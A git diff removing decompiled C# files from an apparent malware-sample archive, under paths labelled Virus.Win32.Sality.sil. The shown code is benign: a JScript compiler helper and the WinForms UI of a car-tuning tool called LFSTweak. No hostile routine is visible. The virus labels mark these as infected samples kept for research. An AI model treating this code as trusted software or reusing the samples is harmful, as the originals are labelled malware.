JScriptCompiler.GetCultureInfo()); - } - long length = fileStream.Length; - if (length == 0L) - return ""; - Encoding encoding; - try - { - encoding = Encoding.GetEncoding(codepage); - } - catch (ArgumentException ex) - { - throw new CmdLineException(CmdLineError.InvalidCodePage, codepage.ToString((IFormatProvider) CultureInfo.InvariantCulture), JScriptCompiler.GetCultureInfo()); - } - StreamReader streamReader = new StreamReader((Stream) fileStream, encoding, true); - if (length > (long) int.MaxValue) - throw new CmdLineException(CmdLineError.SourceFileTooBig, JScriptCompiler.GetCultureInfo()); - return streamReader.ReadToEnd(); - } - - private string[] ReadResponseFile(string strFileName) - { - FileStream fileStream = new FileStream(strFileName, FileMode.Open, FileAccess.Read, FileShare.Read); - if (fileStream.Length == 0L) - return (string[]) null; - StreamReader streamReader = new StreamReader((Stream) fileStream); - string input = streamReader.ReadLine(); - Regex regex = new Regex("\\s*([^\\s\\\"]|(\\\"[^\\\"\\n]*\\\"))+"); - StringCollection stringCollection = new StringCollection(); - for (; input != null; input = streamReader.ReadLine()) - { - if (!input.Trim().StartsWith("#")) - { - MatchCollection matchCollection = regex.Matches(input); - if (matchCollection != null && matchCollection.Count != 0) - { - foreach (Capture capture in matchCollection) - { - string str = capture.ToString().Trim(); - int startIndex = 0; - while ((startIndex = str.IndexOf("\"", startIndex)) != -1) - { - if (startIndex == 0) - str = str.Substring(1); - else if (str[startIndex - 1] == '\\') - ++startIndex; - else - str = str.Remove(startIndex, 1); - } - stringCollection.Add(str); - } - } - } - } - if (stringCollection.Count == 0) - return (string[]) null; - string[] array = new string[stringCollection.Count]; - stringCollection.CopyTo(array, 0); - return array; - } - - internal static string Localize(string s) => JScriptCompiler.Localize(s, (string) null, (CultureInfo) null); - - internal static string Localize(string s, string context) => JScriptCompiler.Localize(s, context, (CultureInfo) null); - - internal static string Localize(string s, CultureInfo culture) => JScriptCompiler.Localize(s, (string) null, culture); - - internal static string Localize(string s, string context, CultureInfo culture) - { - try - { - if (culture == null) - culture = JScriptCompiler.GetCultureInfo(); - string str = JScriptCompiler.resourceManager.GetString(s, culture); - if (str != null) - { - int length = str.IndexOf(JScriptCompiler.ContextStringDelimiter); - if (length == -1) - return str; - return context != null ? string.Format(str.Substring(length + 2), (object) context) : str.Substring(0, length); - } - } - catch (MissingManifestResourceException ex) - { - } - return s; - } - - internal static CultureInfo GetCultureInfo() - { - CultureInfo cultureInfo = (CultureInfo) null; - try - { - cultureInfo = new CultureInfo(JScriptCompiler.LCID); - } - catch (ArgumentException ex) - { - } - return cultureInfo ?? CultureInfo.CurrentUICulture; - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/Virus.Win32.Sality.sil.csproj b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/Virus.Win32.Sality.sil.csproj deleted file mode 100644 index ee636975..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/Virus.Win32.Sality.sil.csproj +++ /dev/null @@ -1,47 +0,0 @@ - - - - - Debug - AnyCPU - {A88B204F-33E5-4BED-88F1-B5C717810C18} - Exe - jsc - 7.0.5000.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/Virus.Win32.Sality.sil.sln b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/Virus.Win32.Sality.sil.sln deleted file mode 100644 index ae6b6ba7..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48/Virus.Win32.Sality.sil.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "jsc", "Virus.Win32.Sality.sil-4e552874df8b99a0969b07ded909051569fdb84478f01dd750d0323cc3573f48.csproj", "{A88B204F-33E5-4BED-88F1-B5C717810C18}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {A88B204F-33E5-4BED-88F1-B5C717810C18}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {A88B204F-33E5-4BED-88F1-B5C717810C18}.Debug|Any CPU.Build.0 = Debug|Any CPU - {A88B204F-33E5-4BED-88F1-B5C717810C18}.Release|Any CPU.ActiveCfg = Release|Any CPU - {A88B204F-33E5-4BED-88F1-B5C717810C18}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/AssemblyInfo.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/AssemblyInfo.cs deleted file mode 100644 index 5a913abb..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyDescription("")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyCompany("Microsoft")] -[assembly: AssemblyTitle("WindowsApplication1")] -[assembly: Guid("b4121c83-8b37-46ee-ab4c-a4fe667e4944")] -[assembly: ComVisible(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("Copyright © Microsoft 2010")] -[assembly: AssemblyProduct("WindowsApplication1")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Form1.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Form1.cs deleted file mode 100644 index c26e30e3..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Form1.cs +++ /dev/null @@ -1,2616 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: LFSTweak.Form1 -// Assembly: LFSTweak, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C77C2A36-D42F-41E0-A8F4-0FAB7DAB4ECE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Globalization; -using System.IO; -using System.Runtime.CompilerServices; -using System.Windows.Forms; - -namespace LFSTweak -{ - [DesignerGenerated] - public class Form1 : Form - { - private static List __ENCList = new List(); - private IContainer components; - [AccessedThroughProperty("enginecc_value")] - private TextBox _enginecc_value; - [AccessedThroughProperty("Label1")] - private Label _Label1; - [AccessedThroughProperty("currentCar")] - private Label _currentCar; - [AccessedThroughProperty("Label2")] - private Label _Label2; - [AccessedThroughProperty("Label3")] - private Label _Label3; - [AccessedThroughProperty("enginecylinders_value")] - private TextBox _enginecylinders_value; - [AccessedThroughProperty("Label4")] - private Label _Label4; - [AccessedThroughProperty("enginetype_value")] - private ComboBox _enginetype_value; - [AccessedThroughProperty("Label5")] - private Label _Label5; - [AccessedThroughProperty("engineturbo_value")] - private ComboBox _engineturbo_value; - [AccessedThroughProperty("Label6")] - private Label _Label6; - [AccessedThroughProperty("engineturbopressure_value")] - private TextBox _engineturbopressure_value; - [AccessedThroughProperty("engineturbolag_value")] - private TextBox _engineturbolag_value; - [AccessedThroughProperty("Label7")] - private Label _Label7; - [AccessedThroughProperty("enginetorque_value")] - private TextBox _enginetorque_value; - [AccessedThroughProperty("torque")] - private Label _torque; - [AccessedThroughProperty("applyButton")] - private Button _applyButton; - [AccessedThroughProperty("Label8")] - private Label _Label8; - [AccessedThroughProperty("transmissiontype_value")] - private ComboBox _transmissiontype_value; - [AccessedThroughProperty("Button1")] - private Button _Button1; - [AccessedThroughProperty("engineredline_value")] - private TextBox _engineredline_value; - [AccessedThroughProperty("Label9")] - private Label _Label9; - [AccessedThroughProperty("Label10")] - private Label _Label10; - [AccessedThroughProperty("Label11")] - private Label _Label11; - [AccessedThroughProperty("fueltank_value")] - private TextBox _fueltank_value; - [AccessedThroughProperty("enginepower_value")] - private TextBox _enginepower_value; - [AccessedThroughProperty("Label12")] - private Label _Label12; - [AccessedThroughProperty("GroupBox1")] - private GroupBox _GroupBox1; - [AccessedThroughProperty("GroupBox2")] - private GroupBox _GroupBox2; - [AccessedThroughProperty("mec_ccmax")] - private TextBox _mec_ccmax; - [AccessedThroughProperty("mec_ccmin")] - private TextBox _mec_ccmin; - [AccessedThroughProperty("Label13")] - private Label _Label13; - [AccessedThroughProperty("mec_cylmax")] - private TextBox _mec_cylmax; - [AccessedThroughProperty("mec_cylmin")] - private TextBox _mec_cylmin; - [AccessedThroughProperty("Label14")] - private Label _Label14; - [AccessedThroughProperty("Label17")] - private Label _Label17; - [AccessedThroughProperty("mec_gearsmax")] - private TextBox _mec_gearsmax; - [AccessedThroughProperty("mec_gearsmin")] - private TextBox _mec_gearsmin; - [AccessedThroughProperty("Label16")] - private Label _Label16; - [AccessedThroughProperty("mec_torque")] - private TextBox _mec_torque; - [AccessedThroughProperty("Label15")] - private Label _Label15; - [AccessedThroughProperty("mec_drive")] - private ComboBox _mec_drive; - [AccessedThroughProperty("Label20")] - private Label _Label20; - [AccessedThroughProperty("mec_weight")] - private TextBox _mec_weight; - [AccessedThroughProperty("Label19")] - private Label _Label19; - [AccessedThroughProperty("mec_idle")] - private TextBox _mec_idle; - [AccessedThroughProperty("Label18")] - private Label _Label18; - [AccessedThroughProperty("mec_power")] - private TextBox _mec_power; - [AccessedThroughProperty("cartype_value")] - private TextBox _cartype_value; - [AccessedThroughProperty("Label21")] - private Label _Label21; - [AccessedThroughProperty("Label22")] - private Label _Label22; - [AccessedThroughProperty("tyre_rsize")] - private TextBox _tyre_rsize; - [AccessedThroughProperty("tyre_rheight")] - private TextBox _tyre_rheight; - [AccessedThroughProperty("tyre_rwidth")] - private TextBox _tyre_rwidth; - [AccessedThroughProperty("Label24")] - private Label _Label24; - [AccessedThroughProperty("tyre_fsize")] - private TextBox _tyre_fsize; - [AccessedThroughProperty("tyre_fheight")] - private TextBox _tyre_fheight; - [AccessedThroughProperty("tyre_fwidthrim")] - private TextBox _tyre_fwidthrim; - [AccessedThroughProperty("Label23")] - private Label _Label23; - [AccessedThroughProperty("SaveFileDialog1")] - private SaveFileDialog _SaveFileDialog1; - [AccessedThroughProperty("MenuStrip1")] - private MenuStrip _MenuStrip1; - [AccessedThroughProperty("ToolStripMenuItem1")] - private ToolStripMenuItem _ToolStripMenuItem1; - [AccessedThroughProperty("FileToolStripMenuItem")] - private ToolStripMenuItem _FileToolStripMenuItem; - [AccessedThroughProperty("SaveToolStripMenuItem")] - private ToolStripMenuItem _SaveToolStripMenuItem; - [AccessedThroughProperty("OpenFileDialog1")] - private OpenFileDialog _OpenFileDialog1; - [AccessedThroughProperty("tyre_rwidthrim")] - private TextBox _tyre_rwidthrim; - [AccessedThroughProperty("tyre_fwidth")] - private TextBox _tyre_fwidth; - [AccessedThroughProperty("massheight_value")] - private TextBox _massheight_value; - [AccessedThroughProperty("Label26")] - private Label _Label26; - [AccessedThroughProperty("enginepos_value")] - private TextBox _enginepos_value; - [AccessedThroughProperty("Label25")] - private Label _Label25; - [AccessedThroughProperty("Label27")] - private Label _Label27; - [AccessedThroughProperty("tyrefronttrack_value")] - private TextBox _tyrefronttrack_value; - [AccessedThroughProperty("tyrefrontangle_value")] - private TextBox _tyrefrontangle_value; - [AccessedThroughProperty("tyrereartrack_value")] - private TextBox _tyrereartrack_value; - [AccessedThroughProperty("tyrerearangle_value")] - private TextBox _tyrerearangle_value; - [AccessedThroughProperty("Label28")] - private Label _Label28; - [AccessedThroughProperty("tyrefrontypos_value")] - private TextBox _tyrefrontypos_value; - [AccessedThroughProperty("tyrerearypos_value")] - private TextBox _tyrerearypos_value; - [AccessedThroughProperty("Label29")] - private Label _Label29; - private string currentCarValue; - private float currentenginecc; - private float currentengineredline; - private byte currentenginecylinders; - private int currentenginetype; - private byte currentengineturbo; - private byte currenttransmissiontype; - private byte currentcartype; - private float currentengineturbopressure; - private float currentengineturbolag; - private double currentenginetorque; - private float currentfueltank; - private float currentenginepower; - private float currenttyrefwidth; - private float currenttyrefheight; - private float currenttyrefsize; - private float currenttyrefwidthrim; - private float currenttyrerwidth; - private float currenttyrerheight; - private float currenttyrersize; - private float currenttyrerwidthrim; - private float enginepos; - private float massheightpos; - private float tyrefrontypos; - private float tyrefrontangle; - private float tyrefronttrack; - private float tyrerearypos; - private float tyrerearangle; - private float tyrereartrack; - private byte mec_currentcylmin; - private byte mec_currentcylmax; - private byte mec_currentdrive; - private byte mec_currentgearsmin; - private byte mec_currentgearsmax; - private float mec_currentccmin; - private float mec_currentccmax; - private float mec_currenttorque; - private float mec_currentpower; - private float mec_currentidle; - private float mec_currentweight; - - [DebuggerNonUserCode] - static Form1() - { - } - - [DebuggerNonUserCode] - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - lock (Form1.__ENCList) - Form1.__ENCList.Add(new WeakReference((object) this)); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1)); - this.enginecc_value = new TextBox(); - this.Label1 = new Label(); - this.currentCar = new Label(); - this.Label2 = new Label(); - this.Label3 = new Label(); - this.enginecylinders_value = new TextBox(); - this.Label4 = new Label(); - this.enginetype_value = new ComboBox(); - this.Label5 = new Label(); - this.engineturbo_value = new ComboBox(); - this.Label6 = new Label(); - this.engineturbopressure_value = new TextBox(); - this.engineturbolag_value = new TextBox(); - this.Label7 = new Label(); - this.enginetorque_value = new TextBox(); - this.torque = new Label(); - this.applyButton = new Button(); - this.Label8 = new Label(); - this.transmissiontype_value = new ComboBox(); - this.Button1 = new Button(); - this.engineredline_value = new TextBox(); - this.Label9 = new Label(); - this.Label10 = new Label(); - this.Label11 = new Label(); - this.fueltank_value = new TextBox(); - this.enginepower_value = new TextBox(); - this.Label12 = new Label(); - this.GroupBox1 = new GroupBox(); - this.Label29 = new Label(); - this.massheight_value = new TextBox(); - this.Label26 = new Label(); - this.enginepos_value = new TextBox(); - this.Label25 = new Label(); - this.tyre_fwidth = new TextBox(); - this.tyre_rwidthrim = new TextBox(); - this.tyre_rsize = new TextBox(); - this.tyre_rheight = new TextBox(); - this.tyre_rwidth = new TextBox(); - this.Label24 = new Label(); - this.tyre_fsize = new TextBox(); - this.tyre_fheight = new TextBox(); - this.tyre_fwidthrim = new TextBox(); - this.Label23 = new Label(); - this.cartype_value = new TextBox(); - this.Label21 = new Label(); - this.GroupBox2 = new GroupBox(); - this.Label22 = new Label(); - this.mec_drive = new ComboBox(); - this.Label20 = new Label(); - this.mec_weight = new TextBox(); - this.Label19 = new Label(); - this.mec_idle = new TextBox(); - this.Label18 = new Label(); - this.mec_power = new TextBox(); - this.Label17 = new Label(); - this.mec_gearsmax = new TextBox(); - this.mec_gearsmin = new TextBox(); - this.Label16 = new Label(); - this.mec_torque = new TextBox(); - this.Label15 = new Label(); - this.mec_cylmax = new TextBox(); - this.mec_cylmin = new TextBox(); - this.Label14 = new Label(); - this.mec_ccmax = new TextBox(); - this.mec_ccmin = new TextBox(); - this.Label13 = new Label(); - this.SaveFileDialog1 = new SaveFileDialog(); - this.MenuStrip1 = new MenuStrip(); - this.ToolStripMenuItem1 = new ToolStripMenuItem(); - this.FileToolStripMenuItem = new ToolStripMenuItem(); - this.SaveToolStripMenuItem = new ToolStripMenuItem(); - this.OpenFileDialog1 = new OpenFileDialog(); - this.Label27 = new Label(); - this.tyrefronttrack_value = new TextBox(); - this.tyrefrontangle_value = new TextBox(); - this.tyrereartrack_value = new TextBox(); - this.tyrerearangle_value = new TextBox(); - this.Label28 = new Label(); - this.tyrefrontypos_value = new TextBox(); - this.tyrerearypos_value = new TextBox(); - this.GroupBox1.SuspendLayout(); - this.GroupBox2.SuspendLayout(); - this.MenuStrip1.SuspendLayout(); - this.SuspendLayout(); - TextBox engineccValue1 = this.enginecc_value; - Point point1 = new Point(157, 95); - Point point2 = point1; - engineccValue1.Location = point2; - this.enginecc_value.Name = "enginecc_value"; - TextBox engineccValue2 = this.enginecc_value; - Size size1 = new Size(95, 20); - Size size2 = size1; - engineccValue2.Size = size2; - this.enginecc_value.TabIndex = 0; - this.Label1.AutoSize = true; - Label label1_1 = this.Label1; - point1 = new Point(38, 64); - Point point3 = point1; - label1_1.Location = point3; - this.Label1.Name = "Label1"; - Label label1_2 = this.Label1; - size1 = new Size(60, 13); - Size size3 = size1; - label1_2.Size = size3; - this.Label1.TabIndex = 1; - this.Label1.Text = "Current Car"; - this.currentCar.AutoSize = true; - Label currentCar1 = this.currentCar; - point1 = new Point(154, 64); - Point point4 = point1; - currentCar1.Location = point4; - this.currentCar.Name = "currentCar"; - Label currentCar2 = this.currentCar; - size1 = new Size(56, 13); - Size size4 = size1; - currentCar2.Size = size4; - this.currentCar.TabIndex = 2; - this.currentCar.Text = "currentCar"; - this.Label2.AutoSize = true; - Label label2_1 = this.Label2; - point1 = new Point(38, 98); - Point point5 = point1; - label2_1.Location = point5; - this.Label2.Name = "Label2"; - Label label2_2 = this.Label2; - size1 = new Size(57, 13); - Size size5 = size1; - label2_2.Size = size5; - this.Label2.TabIndex = 3; - this.Label2.Text = "Engine CC"; - this.Label3.AutoSize = true; - Label label3_1 = this.Label3; - point1 = new Point(38, 124); - Point point6 = point1; - label3_1.Location = point6; - this.Label3.Name = "Label3"; - Label label3_2 = this.Label3; - size1 = new Size(85, 13); - Size size6 = size1; - label3_2.Size = size6; - this.Label3.TabIndex = 4; - this.Label3.Text = "Engine Cylinders"; - TextBox enginecylindersValue1 = this.enginecylinders_value; - point1 = new Point(157, 121); - Point point7 = point1; - enginecylindersValue1.Location = point7; - this.enginecylinders_value.Name = "enginecylinders_value"; - TextBox enginecylindersValue2 = this.enginecylinders_value; - size1 = new Size(95, 20); - Size size7 = size1; - enginecylindersValue2.Size = size7; - this.enginecylinders_value.TabIndex = 5; - this.Label4.AutoSize = true; - Label label4_1 = this.Label4; - point1 = new Point(38, 150); - Point point8 = point1; - label4_1.Location = point8; - this.Label4.Name = "Label4"; - Label label4_2 = this.Label4; - size1 = new Size(67, 13); - Size size8 = size1; - label4_2.Size = size8; - this.Label4.TabIndex = 6; - this.Label4.Text = "Engine Type"; - this.enginetype_value.FormattingEnabled = true; - this.enginetype_value.Items.AddRange(new object[3] - { - (object) "Inline", - (object) "Flat", - (object) "V-Type" - }); - ComboBox enginetypeValue1 = this.enginetype_value; - point1 = new Point(157, 147); - Point point9 = point1; - enginetypeValue1.Location = point9; - this.enginetype_value.Name = "enginetype_value"; - ComboBox enginetypeValue2 = this.enginetype_value; - size1 = new Size(95, 21); - Size size9 = size1; - enginetypeValue2.Size = size9; - this.enginetype_value.TabIndex = 7; - this.Label5.AutoSize = true; - Label label5_1 = this.Label5; - point1 = new Point(38, 177); - Point point10 = point1; - label5_1.Location = point10; - this.Label5.Name = "Label5"; - Label label5_2 = this.Label5; - size1 = new Size(35, 13); - Size size10 = size1; - label5_2.Size = size10; - this.Label5.TabIndex = 8; - this.Label5.Text = "Turbo"; - this.engineturbo_value.FormattingEnabled = true; - this.engineturbo_value.Items.AddRange(new object[2] - { - (object) "Off", - (object) "On" - }); - ComboBox engineturboValue1 = this.engineturbo_value; - point1 = new Point(157, 174); - Point point11 = point1; - engineturboValue1.Location = point11; - this.engineturbo_value.Name = "engineturbo_value"; - ComboBox engineturboValue2 = this.engineturbo_value; - size1 = new Size(95, 21); - Size size11 = size1; - engineturboValue2.Size = size11; - this.engineturbo_value.TabIndex = 9; - this.Label6.AutoSize = true; - Label label6_1 = this.Label6; - point1 = new Point(38, 204); - Point point12 = point1; - label6_1.Location = point12; - this.Label6.Name = "Label6"; - Label label6_2 = this.Label6; - size1 = new Size(79, 13); - Size size12 = size1; - label6_2.Size = size12; - this.Label6.TabIndex = 10; - this.Label6.Text = "Turbo Pressure"; - TextBox engineturbopressureValue1 = this.engineturbopressure_value; - point1 = new Point(157, 201); - Point point13 = point1; - engineturbopressureValue1.Location = point13; - this.engineturbopressure_value.Name = "engineturbopressure_value"; - TextBox engineturbopressureValue2 = this.engineturbopressure_value; - size1 = new Size(95, 20); - Size size13 = size1; - engineturbopressureValue2.Size = size13; - this.engineturbopressure_value.TabIndex = 11; - TextBox engineturbolagValue1 = this.engineturbolag_value; - point1 = new Point(157, 227); - Point point14 = point1; - engineturbolagValue1.Location = point14; - this.engineturbolag_value.Name = "engineturbolag_value"; - TextBox engineturbolagValue2 = this.engineturbolag_value; - size1 = new Size(95, 20); - Size size14 = size1; - engineturbolagValue2.Size = size14; - this.engineturbolag_value.TabIndex = 12; - this.Label7.AutoSize = true; - Label label7_1 = this.Label7; - point1 = new Point(38, 230); - Point point15 = point1; - label7_1.Location = point15; - this.Label7.Name = "Label7"; - Label label7_2 = this.Label7; - size1 = new Size(56, 13); - Size size15 = size1; - label7_2.Size = size15; - this.Label7.TabIndex = 13; - this.Label7.Text = "Turbo Lag"; - TextBox enginetorqueValue1 = this.enginetorque_value; - point1 = new Point(157, 253); - Point point16 = point1; - enginetorqueValue1.Location = point16; - this.enginetorque_value.Name = "enginetorque_value"; - TextBox enginetorqueValue2 = this.enginetorque_value; - size1 = new Size(95, 20); - Size size16 = size1; - enginetorqueValue2.Size = size16; - this.enginetorque_value.TabIndex = 14; - this.torque.AutoSize = true; - Label torque1 = this.torque; - point1 = new Point(38, 256); - Point point17 = point1; - torque1.Location = point17; - this.torque.Name = "torque"; - Label torque2 = this.torque; - size1 = new Size(41, 13); - Size size17 = size1; - torque2.Size = size17; - this.torque.TabIndex = 15; - this.torque.Text = "Torque"; - Button applyButton1 = this.applyButton; - point1 = new Point(93, 523); - Point point18 = point1; - applyButton1.Location = point18; - this.applyButton.Name = "applyButton"; - Button applyButton2 = this.applyButton; - size1 = new Size(95, 21); - Size size18 = size1; - applyButton2.Size = size18; - this.applyButton.TabIndex = 16; - this.applyButton.Text = "Apply"; - this.applyButton.UseVisualStyleBackColor = true; - this.Label8.AutoSize = true; - Label label8_1 = this.Label8; - point1 = new Point(38, 282); - Point point19 = point1; - label8_1.Location = point19; - this.Label8.Name = "Label8"; - Label label8_2 = this.Label8; - size1 = new Size(95, 13); - Size size19 = size1; - label8_2.Size = size19; - this.Label8.TabIndex = 17; - this.Label8.Text = "Transmission Type"; - this.transmissiontype_value.FormattingEnabled = true; - this.transmissiontype_value.Items.AddRange(new object[5] - { - (object) "Manual", - (object) "Motorbike", - (object) "Sequential", - (object) "??", - (object) "Paddleshift" - }); - ComboBox transmissiontypeValue1 = this.transmissiontype_value; - point1 = new Point(157, 279); - Point point20 = point1; - transmissiontypeValue1.Location = point20; - this.transmissiontype_value.Name = "transmissiontype_value"; - ComboBox transmissiontypeValue2 = this.transmissiontype_value; - size1 = new Size(95, 21); - Size size20 = size1; - transmissiontypeValue2.Size = size20; - this.transmissiontype_value.TabIndex = 18; - Button button1_1 = this.Button1; - point1 = new Point(12, 522); - Point point21 = point1; - button1_1.Location = point21; - this.Button1.Name = "Button1"; - Button button1_2 = this.Button1; - size1 = new Size(75, 23); - Size size21 = size1; - button1_2.Size = size21; - this.Button1.TabIndex = 19; - this.Button1.Text = "Refresh"; - this.Button1.UseVisualStyleBackColor = true; - TextBox engineredlineValue1 = this.engineredline_value; - point1 = new Point(157, 306); - Point point22 = point1; - engineredlineValue1.Location = point22; - this.engineredline_value.Name = "engineredline_value"; - TextBox engineredlineValue2 = this.engineredline_value; - size1 = new Size(95, 20); - Size size22 = size1; - engineredlineValue2.Size = size22; - this.engineredline_value.TabIndex = 20; - this.Label9.AutoSize = true; - Label label9_1 = this.Label9; - point1 = new Point(38, 309); - Point point23 = point1; - label9_1.Location = point23; - this.Label9.Name = "Label9"; - Label label9_2 = this.Label9; - size1 = new Size(79, 13); - Size size23 = size1; - label9_2.Size = size23; - this.Label9.TabIndex = 21; - this.Label9.Text = "Engine Redline"; - this.Label10.AutoSize = true; - Label label10_1 = this.Label10; - point1 = new Point(275, 488); - Point point24 = point1; - label10_1.Location = point24; - this.Label10.Name = "Label10"; - Label label10_2 = this.Label10; - size1 = new Size(289, 52); - Size size24 = size1; - label10_2.Size = size24; - this.Label10.TabIndex = 22; - this.Label10.Text = "Licencecheck by DavidTiger\r\nProgramming by Beerkeeper\r\n\r\nIf you like the program, leave a comment on LFSTweak.net!"; - this.Label11.AutoSize = true; - Label label11_1 = this.Label11; - point1 = new Point(38, 335); - Point point25 = point1; - label11_1.Location = point25; - this.Label11.Name = "Label11"; - Label label11_2 = this.Label11; - size1 = new Size(55, 13); - Size size25 = size1; - label11_2.Size = size25; - this.Label11.TabIndex = 23; - this.Label11.Text = "Fuel Tank"; - TextBox fueltankValue1 = this.fueltank_value; - point1 = new Point(157, 332); - Point point26 = point1; - fueltankValue1.Location = point26; - this.fueltank_value.Name = "fueltank_value"; - TextBox fueltankValue2 = this.fueltank_value; - size1 = new Size(95, 20); - Size size26 = size1; - fueltankValue2.Size = size26; - this.fueltank_value.TabIndex = 24; - TextBox enginepowerValue1 = this.enginepower_value; - point1 = new Point(157, 358); - Point point27 = point1; - enginepowerValue1.Location = point27; - this.enginepower_value.Name = "enginepower_value"; - TextBox enginepowerValue2 = this.enginepower_value; - size1 = new Size(95, 20); - Size size27 = size1; - enginepowerValue2.Size = size27; - this.enginepower_value.TabIndex = 25; - this.Label12.AutoSize = true; - Label label12_1 = this.Label12; - point1 = new Point(38, 361); - Point point28 = point1; - label12_1.Location = point28; - this.Label12.Name = "Label12"; - Label label12_2 = this.Label12; - size1 = new Size(73, 13); - Size size28 = size1; - label12_2.Size = size28; - this.Label12.TabIndex = 26; - this.Label12.Text = "Engine Power"; - this.GroupBox1.Controls.Add((Control) this.Label29); - this.GroupBox1.Controls.Add((Control) this.massheight_value); - this.GroupBox1.Controls.Add((Control) this.Label26); - this.GroupBox1.Controls.Add((Control) this.enginepos_value); - this.GroupBox1.Controls.Add((Control) this.Label25); - this.GroupBox1.Controls.Add((Control) this.tyre_fwidth); - this.GroupBox1.Controls.Add((Control) this.tyre_rwidthrim); - this.GroupBox1.Controls.Add((Control) this.tyre_rsize); - this.GroupBox1.Controls.Add((Control) this.tyre_rheight); - this.GroupBox1.Controls.Add((Control) this.tyre_rwidth); - this.GroupBox1.Controls.Add((Control) this.Label24); - this.GroupBox1.Controls.Add((Control) this.tyre_fsize); - this.GroupBox1.Controls.Add((Control) this.tyre_fheight); - this.GroupBox1.Controls.Add((Control) this.tyre_fwidthrim); - this.GroupBox1.Controls.Add((Control) this.Label23); - this.GroupBox1.Controls.Add((Control) this.cartype_value); - this.GroupBox1.Controls.Add((Control) this.Label21); - GroupBox groupBox1_1 = this.GroupBox1; - point1 = new Point(12, 42); - Point point29 = point1; - groupBox1_1.Location = point29; - this.GroupBox1.Name = "GroupBox1"; - GroupBox groupBox1_2 = this.GroupBox1; - size1 = new Size((int) byte.MaxValue, 474); - Size size29 = size1; - groupBox1_2.Size = size29; - this.GroupBox1.TabIndex = 27; - this.GroupBox1.TabStop = false; - this.GroupBox1.Text = "LFSTweak"; - this.Label29.AutoSize = true; - this.Label29.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - Label label29_1 = this.Label29; - point1 = new Point(76, 0); - Point point30 = point1; - label29_1.Location = point30; - this.Label29.Name = "Label29"; - Label label29_2 = this.Label29; - size1 = new Size(131, 13); - Size size30 = size1; - label29_2.Size = size30; - this.Label29.TabIndex = 43; - this.Label29.Text = "XFG/XRG/FBM ONLY"; - TextBox massheightValue1 = this.massheight_value; - point1 = new Point(145, 446); - Point point31 = point1; - massheightValue1.Location = point31; - this.massheight_value.Name = "massheight_value"; - TextBox massheightValue2 = this.massheight_value; - size1 = new Size(95, 20); - Size size31 = size1; - massheightValue2.Size = size31; - this.massheight_value.TabIndex = 42; - this.Label26.AutoSize = true; - Label label26_1 = this.Label26; - point1 = new Point(26, 449); - Point point32 = point1; - label26_1.Location = point32; - this.Label26.Name = "Label26"; - Label label26_2 = this.Label26; - size1 = new Size(103, 13); - Size size32 = size1; - label26_2.Size = size32; - this.Label26.TabIndex = 